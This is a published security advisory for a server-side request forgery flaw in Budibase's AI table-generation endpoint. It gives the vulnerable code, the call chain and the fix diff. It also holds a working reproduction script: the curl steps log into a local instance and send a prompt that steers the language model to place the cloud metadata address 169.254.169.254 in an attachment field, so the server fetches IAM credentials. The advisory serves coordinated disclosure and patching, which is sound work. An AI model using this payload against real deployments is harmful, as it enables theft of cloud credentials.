SSRF in AI Table Generation via uploadUrl: raw fetch without blacklist protection
—
Published, fixed and credited. Root cause, the vulnerable code, reproduction and the fix, as published in the advisory itself.
| Advisory | GHSA-3c52-v5v2-3r56 |
| CVE | not assigned |
| Severity | High (7.7) |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| CWE | CWE-918 (Server-Side Request Forgery (SSRF)) |
| Published | 2026-09-17 |
| Package | Ecosystem | Vulnerable | Fixed in |
|---|---|---|---|
budibase | npm | <= 3.41.0 | n/a |
The uploadUrl function in packages/server/src/utilities/fileUtils.ts uses raw node-fetch without SSRF protection. Every other outbound fetch in the codebase uses fetchWithBlacklist from @budibase/backend-core, which blocks private IP ranges. This function was missed, enabling full-read SSRF via AI table generation.
docker run -d --name budibase-poc -p 10000:80 \
-e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \
-e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \
-e API_ENCRYPTION_KEY=api_enc_key_test123456 \
-e BB_ADMIN_USER_EMAIL=admin@test.com \
-e BB_ADMIN_USER_PASSWORD=TestPassword123! \
budibase/budibase:latest
until curl -sf http://localhost:10000/health; do sleep 5; done
curl -s -c /tmp/bb.txt -X POST http://localhost:10000/api/global/auth/default/login \
-H "Content-Type: application/json" \
-d '{"username":"admin@test.com","password":"TestPassword123!"}'
APP_ID=$(curl -s -b /tmp/bb.txt -X POST http://localhost:10000/api/applications \
-H "Content-Type: application/json" \
-d '{"name":"TestApp","useTemplate":"false"}' | python3 -c 'import sys,json;print(json.load(sys.stdin)["appId"])')
curl -s -b /tmp/bb.txt -X POST "http://localhost:10000/api/ai/tables" \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: $APP_ID" \
-d '{"prompt":"Create a table called Servers with columns: name (text), screenshot (attachment single). Add one row: name=metadata, screenshot=http://169.254.169.254/latest/meta-data/"}'
The LLM generates table data. When the attachment column contains a URL string, processAttachments (line 104 of packages/server/src/sdk/workspace/ai/helpers/rows.ts) calls uploadUrl(value) (line 113), which executes fetch(url) at line 23 of packages/server/src/utilities/fileUtils.ts with NO blacklist check. The response body is saved to MinIO/S3 and the presigned URL is returned.
The vulnerable function can be verified by reading the source directly:
# In the budibase source tree:
grep -n "fetch(url)" packages/server/src/utilities/fileUtils.ts
# Output: 23: const res = await fetch(url)
# Compare with every other fetch call which uses the blacklist:
grep -rn "fetchWithBlacklist" packages/server/src/automations/steps/ | head -5
# Output shows all automation steps use fetchWithBlacklist
# The import at the top of fileUtils.ts:
head -3 packages/server/src/utilities/fileUtils.ts
# Output: import fetch from "node-fetch" (raw, no blacklist wrapper)
File: packages/server/src/utilities/fileUtils.ts, line 23:
import fetch from "node-fetch" // raw node-fetch, NOT fetchWithBlacklist
export async function uploadUrl(url: string): Promise<Upload | undefined> {
try {
const res = await fetch(url) // <-- NO blacklist check
// response body piped to file, uploaded to S3, URL returned to caller
Call chain: POST /api/ai/tables (builder auth) -> generateTables -> generateRows -> processAttachments -> uploadUrl -> raw fetch(url)
http://169.254.169.254/latest/meta-data/ exposes IAM credentialsThis is the same bug class as 7 prior SSRF CVEs (GHSA-7r9j, GHSA-xh5j, GHSA-fgqv, GHSA-rpj4, GHSA-4q6h, GHSA-g6qx, GHSA-cv96), each a different endpoint missing fetchWithBlacklist.
- import fetch from "node-fetch"
+ import { utils } from "@budibase/backend-core"
export async function uploadUrl(url: string): Promise<Upload | undefined> {
try {
- const res = await fetch(url)
+ const res = await utils.fetchWithBlacklist(url)
Sanaan Fayaz Wani (GitHub sfwani) reported this vulnerability to the budibase maintainers under coordinated disclosure and is credited as a reporter in GHSA-3c52-v5v2-3r56, published 2026-09-17.
All published findings: advisory index.